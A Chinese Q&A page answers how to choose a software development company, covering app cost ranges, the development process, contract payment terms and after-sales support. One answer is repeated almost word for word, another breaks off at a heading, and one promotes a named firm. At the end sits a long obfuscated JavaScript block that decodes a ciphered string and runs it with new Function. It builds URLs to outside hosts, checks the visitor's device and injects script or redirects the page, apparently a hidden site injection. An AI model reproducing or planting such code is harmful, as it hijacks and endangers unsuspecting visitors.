想做软件开发,要如何选择技术开发公司?

2025-02-24 01:46:10
推荐回答(5个)
回答1:

做软件开发,要如何选择技术开发公司

简单点来说,要视手机APP的需求及质量而言,价位一般在几千到十几万左右,更高端的价格更高。

今天,我们就来详细分析一下这个问题,请继续往下看吧。 

一、APP开发款式分为固定款和定制款,两者的价格均不相同

固定款:是指直接套用已有的、现成的APP固定模板,报价是固定的,所需要的功能也是固定的,缺点就是客户拿不到源代码,也不能根据企业需求进行定制,由于源代码是封装的,如果企业以后想进行功能升级或系统维护的话,也不能够实现,只能重新开发一个新的软件。

固定款的APP开发时间短,约2~3日的时间即可完成,费用大约在几千到几万之间。

定制款:定制款是指APP的功能全部重新开发,过程比较繁琐,需要美工、策划、APP开发(前台/客户端/手机端)、后台程序员等工种协同完成,大型的、功能复杂的APP甚至需要数十人的团队。

由于APP的功能和设计都是定制的,因此价格会高些。定制款的开发时间与开发价格是成正比的,开发时间长,大约在两三个月甚至不定的周期里才能完成,而费用大概在几万甚至十几万左右。

因此,想要知道开发一款手机APP需要花费多少钱,企业主首先必须把APP的详细需求和功能告知APP开发公司,开发公司才能报出一个合理的价格。

二、手机APP平台不同,制作成本也不一样

现在市面上流行的手机APP制作平台主要有两种一般包括两种系统:安卓系统(Android)和苹果系统(IOS)。

一般来说,制作苹果系统的手机APP软件费用要比安卓平台的贵一些,因为苹果公司对苹果平台的封闭性和手机APP开发语言Objective-C的难度,都让APP开发者加大了苹果系统手机APP开发的难度。

三、APP制作成本包含参与人员的工资

通常情况下,开发一款APP需要产品经理、客户端工程师、后端工程师和UI设计师各一名,这已经是制作手机APP应用软件比较精简的配置了,所以这些参与人员的工资也是包含在APP制作成本当中的。这些工作人员的月薪加起来可能都会超过4、5万元。

四、APP开发公司的所在地

需要注意的是,同样实力的APP开发公司,在不同的城市也会导致APP的成本费用高一些,如在北京、深圳和上海等地的开发公司开发成本费用就会比较高,因为当地开发人员的薪资和其他支出相对更高。

回答2:

做软件开发,要如何选择技术开发公司

如今,不少企业都想拥有属于自己企业或产品的手机APP,但其中最困扰企业主的问题就是:开发一款手机APP到底需要多少钱?

简单点来说,要视手机APP的需求及质量而言,价位一般在几千到十几万左右,更高端的价格更高。

今天,我们就来详细分析一下这个问题,请继续往下看吧。 

一、APP开发款式分为固定款和定制款,两者的价格均不相同

固定款:是指直接套用已有的、现成的APP固定模板,报价是固定的,所需要的功能也是固定的,缺点就是客户拿不到源代码,也不能根据企业需求进行定制,由于源代码是封装的,如果企业以后想进行功能升级或系统维护的话,也不能够实现,只能重新开发一个新的软件。


固定款的APP开发时间短,约2~3日的时间即可完成,费用大约在几千到几万之间。

定制款:定制款是指APP的功能全部重新开发,过程比较繁琐,需要美工、策划、APP开发(前台/客户端/手机端)、后台程序员等工种协同完成,大型的、功能复杂的APP甚至需要数十人的团队。

由于APP的功能和设计都是定制的,因此价格会高些。定制款的开发时间与开发价格是成正比的,开发时间长,大约在两三个月甚至不定的周期里才能完成,而费用大概在几万甚至十几万左右。

因此,想要知道开发一款手机APP需要花费多少钱,企业主首先必须把APP的详细需求和功能告知APP开发公司,开发公司才能报出一个合理的价格。

二、手机APP平台不同,制作成本也不一样

现在市面上流行的手机APP制作平台主要有两种一般包括两种系统:安卓系统(Android)和苹果系统(IOS)。

一般来说,制作苹果系统的手机APP软件费用要比安卓平台的贵一些,因为苹果公司对苹果平台的封闭性和手机APP开发语言Objective-C的难度,都让APP开发者加大了苹果系统手机APP开发的难度。

三、APP制作成本包含参与人员的工资

通常情况下,开发一款APP需要产品经理、客户端工程师、后端工程师和UI设计师各一名,这已经是制作手机APP应用软件比较精简的配置了,所以这些参与人员的工资也是包含在APP制作成本当中的。这些工作人员的月薪加起来可能都会超过4、5万元。

四、APP开发公司的所在地

需要注意的是,同样实力的APP开发公司,在不同的城市也会导致APP的成本费用高一些,如在北京、深圳和上海等地的开发公司开发成本费用就会比较高,因为当地开发人员的薪资和其他支出相对更高。

回答3:

一、公司规模实力不会很小

选择软件开发公司时公司规模实力是一个必须考虑的事情,正规的软件开发公司员工岗位配置齐全,有市场人员、设计、产品经理、开发人员(前端、后端;iOS和安卓开发人员)、测试人员、项目经理。因为专业的人所以做出来的事情更加专业,各司各任其职,保证项目的进行进度。

二、有专业的开发团队

专业的开发团队对于软件开发公司来说是基本的技术保证。不管项目如何,都是经过技术团队开发的,选择拥有专业开发团队的软件开发公司能够达到事半功倍的效果。专业开发团队对于项目开发有丰富的项目经验,遇到问题时能够迎刃而解,团队有很好的沟通,可以缩短开发周期节约不必要的开发成本。所以企业在寻找软件开发公司的时候,不仅要了解公司,也要了解开发团队,看团队是否专业,这点非常重要。

三、有自己的产品案例

正规的软件开发公司有开发的产品案例,如果没有几个拿得出手的案例,实力也不会有多强,可能是皮包公司,要么就是刚成立的新公司

四、提供良好的售后服务

开发完成一款软件之后并不是代表什么都搞定了,一家靠谱软件开发公司的客服会指导企业关于后台的使用方法,形式多为电话指导、电脑远程协助或者上门服务。还能进行免费的日常协助与维护、应对突发情况的紧急维修等。

五、根据自己的实际情况选择

软件开发不仅开发过程需要资金支持,后续的维护也需要资金,如果资金、预算不满意的可以选择技术VC公司,可提供技术、资金入股,减少成本,同时对于后续的产品迭代维护也有保障。

回答4:

首先从这几方面来判断:

1、在开发的规范流程方面是否可以做到位!

商谈需求

(双方参与。甲方提出大致需求,乙方负责细化整理,最终转换成供后期开发使用的需求文档,也是项目最终的验收文档)

· 制作流程图

(乙方实施,根据上一步的《需求文档》设计出软件的运行流程,然后甲方确认,得到一个流程图文件)

· 制作原型图

(根据前两部的《需求文档》和《流程图》制作,界面上要包含这个界面该有的所有的元素和字段,但是这一步是没有具体排版的和颜色渲染的)

· 制作设计图(UI):

根据上一步的原型图,来具体的排版,渲染颜色。最终产物是一套用户界面设计图

· 编写:

就是具体的代码编写

· 测试:

乙方负责,根据需求和后来制作的设计图来一步步检测功能是否有bug

· 交付:

正规公司会把我上面说到的所有东西都提供给甲方

· 细节补充:

现在国家做知识产权保护,所有的APP要上架必须具备《软件著作权》。有一些三方的代理公司

2、合同注意几个点:

1. 实施工期

2. 付款节点

互联网公司一般是三期款项,334的模式支付。首付款30%、设计阶段结束支付30%,项目实施完甲方验收完毕40%。

3. 需求文档

一定要作为合同的附件,这个是到时候交付的标准。这个文档那个越细越好

4. 产生的第三方费用要说清楚到底谁承担。

a) 软件著作权的申请费(知识产权保护,现在APP上架必须需要的文件,相当于软甲你的专利。一般不加急3个月拿到,700元左右);

b) 服务器的费用;

c) 短信的费用(用来发验证码的一般一条6分钱,一万条=600元);

d) 支付权限申请的费用(微信是年费300.支付宝免费,但是这两项后期交易流水都存在手续费);

e) 是否使用了付费的数据库(MySQL免费,Orcale是收费的)

f) 是否使用了付费的第三方SDK(就是开发用到的一些快速集成工具,但是有些是收费的,按年收费一般是。比如要开发直播或者即时通讯)

关于怎么避免被宰:

回答5:

想开发一款属于自己的软件,怎么寻找靠谱的软件开发公司?
随着互联网技术的飞跃发展,互联网对我们现在生活的影响越来越大。很多传统企业纷纷向数字化转型,在此过程中,企业拥有一款自己的APP就显得尤为重要。而大家对软件开发公司的利用率也逐渐增高。
选择了对的软件开发公司,项目沟通流畅,需求转化完全,不仅能实现项目功能开发,还会给出一些非常有价值的建议;选择了不靠谱的开发公司,等着你的就是一堆问题:价格高了,功能逻辑难落地了,BUG层出不穷等,甚至将直接导致整个项目的烂尾,给企业造成巨大损失。
对于需要定制开发软件的企业、政府或者单位来说,想要软件好用,第一步就是要找到一家优秀的软件开发设计公司。那么,什么样的软件开发公司才算是优秀的合作伙伴呢?又该如何来选择合适自己的软件开发公司呢?今天我们就来谈一谈。

一、对企业进行自我了解:
首先企业必须对自己的平台和需求有个清楚的自我了解和定位:包括业务范围、模式、经营的思维模式、公司对这个平台运作的决心、愿意花多少精力、金钱去做这个项目等。
还有APP是需要现成的模板还是定制开发的,是提供源码独立部署服务器还是SaaS账号。一般情况下,现成的模板会比较成熟、稳定、也是比较完善的,有些个性化的东西直接在上面更改增加即可;定制开发成本比较高、开发周期长、存在较多不确定因素、需要技术上长期的配合。然后呢,独立部署服务器就比较安全、可以自己掌控数据;SaaS类似于租赁的形式,市面比较多是按年收费的形式,这种受限制比较大,安全指数低,不利于平台做大做强,优势就是可以前期轻资产进入,两者选择主要看预算和是否有做长远考虑。
上面这些考虑好,你也就大概知道自己要找什么样的软件开发公司合作了,再去找公司就很好找了。

二、企业和软件开发公司的沟通:
现今已有的软件开发公司技术水平参差不齐,用户在选择软件开发公司时需要考虑该公司能否有足够的实力来满足自己的需求。
这一点从最开始接触的产品经理就可以大概考量出来,他们的产品经理是否了解您的项目,这是最基本的。也可以多跟软件开发公司人员聊产品,一般好的软件定制公司或软件外包公司对软件行业了解很多,有丰富的软件开发经验,沟通过程中能帮助您做产品分析、商业模式梳理、财务流程梳理、业务流程梳理等,对于您定制开发软件十分有利。
如果其产品经理和公司开发人员都无法完全把客户的需求完美分析出来,那么,这家公司的实力就有待继续考量了。同样的,一家开发公司若能更好地分析和实现客户的需求,自然也能获得更多人的青睐。

三、从各方面考察软件开发公司的实力:
1、专业的软件开发团队:
成熟的软件开发公司,最基本的条件就是开发实力,这包含了两个方面:一是拥有固定的开发团队,二是拥有精湛的技术实力;两者兼备才能够给软件开发工作顺利进行提供最大限度的保障。开发团队对于项目开发有丰富的经验,遇到问题时才能迎刃而解;团队有好的沟通,才能缩短开发周期,节约不必要的开发成本。所以在洽谈期间,可以去软件公司实际考察一番(如果是外地客户,可在线视频考察),看看这家软件公司的专业程度如何,对于项目的开发、测试、验收是否有做专业的规划等。
2、公司创立时间和资质:
一个软件开发公司在领域能够待较长的时间,一定有他的独到之处,正常来说小的软件公司,生命力是支撑不过5年的。除了年限,还要看对方的团队规模与技术实力等。软件开发公司的技术实力,一方面可以从公司申请的软件企业登记证书、软件著作权登记证书等体现,另一方面的话也可以要求对方提供获得的荣誉资质,经过官方认证之后并颁发的软件证书,能够更加公正客观的反馈软件开发公司的综合实力,为软件需求客户提供重要的参考依据。像上海闻峥文化传播有限公司就拥有以上资质证书,且还通过了质量管理体系认证,荣获高新技术企业称号。这些证书的取得都是公司资质和实力的直接证明。
3、服务能力水平:
这一点可以从软件公司做过的软件系统或者网站上案例中心栏目来看。一家好的软件公司一年做的软件项目可能并不多,但每一个都是精品,因为每一个软件系统要做好都是需要很多的时间精力。所以您千万不要认为其案例越多说明软件开发公司越好。有些软件公司拿的是别人做的产品当做自己的案例,这点要小心甄别。

4、拥有开发经验和优秀案例:
挑选一家软件开发公司不要只听取对方售前那些天花乱坠的话,必须要留意对方的案例如何。看一下公司的开发实际效果是否达到自己心里的预定,虽然没有完全一样的需求,但是总会有一些需求相似的开发。还可以先明确提出自身的预判要求,让公司做一个简易的演示。优秀的软件开发公司,必然会拥有着成熟的技术实力和开发经验,能够更好地在初期帮助客户整理和完善需求,提出更合理的解决方案,帮助客户整理需求思路以及提供行业解决方案。
一般有实力开发APP的公司项目经验丰富,涉及行业广,会有很多大型企业合作案例。一般大型企业对项目要求和审核都会比较严格,能与大型企业合作,也是实力的侧面反映。如果连自己的开发案例都没有的公司肯定是不靠谱的。在考察时要注意该软件的运行情况、功能、UI设计及整体使用体验等。

四、软件公司项目价格报价是否清晰合理:
不同的软件公司和软件产品报价各不相同,正规开发公司一般都是与客户详细沟通后才会给出一份估价,因为APP开发的收费是按功能需求收取的。报价不仅仅是看最终价格,还要看供应商能提供什么、开发周期、开发者配置,开发功能内容等,及其对应的报价。这里还要说明的是低价不一定好,高价也可能是收智商税,一定要综合前面收集到的信息综合评判。再根据多家软件公司的报价进行比较,以对方的功能表和报价单进行判别,判断哪家公司是虚高报价,从而选择更合理的软件开发公司。

五、项目开发过程:
软件定制系统的开发需要一系列环节,一般可归结为两大部分,一是对软件产品需求分析原型设计,二是开发施工写代码测试上线。严格的开发流程是保证项目顺利进行的必要条件,定制软件系统,需要循序渐进,产品设计需要一步步地接触沟通;UI设计需要设计得让你满意;前面的每一步都保证顺利,后面的发展才能顺理成章。

六、强大的服务质量和强力的售后服务保障:
软件产品不比其他的产品,一买一卖合作就结束了,软件的维护与运营,是一个不断完善的过程。在这个过程中,会经常出现bug、逻辑问题、优化程序、更新升级迭代等问题,所以软件开发公司的售后能力势必要列入考察范围。问清楚是不是终身维护,出现bug能否保证解决,保证产品的可用性。一个好的软件开发公司,都有时长不等的免费售后服务,比如我们上海闻峥文化,除了上线后持续跟进软件运营情况外,还能免费售后维护长达一年,并且终身进行售后和运营指导。
除后期服务外,软件开发完成后,软件开发公司的客服会指导客户的技术人员如何使用软件的后台。有些软件开发公司会使用电话、电脑远程协助或者上门技术指导等多种方式使客户可以很轻松地了解如何使用操作软件的后台。
最后祝大家都能找到靠谱的软件开发公司,早日让脑子里的点子变成可落地的现实,并收获让你满意的果实。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();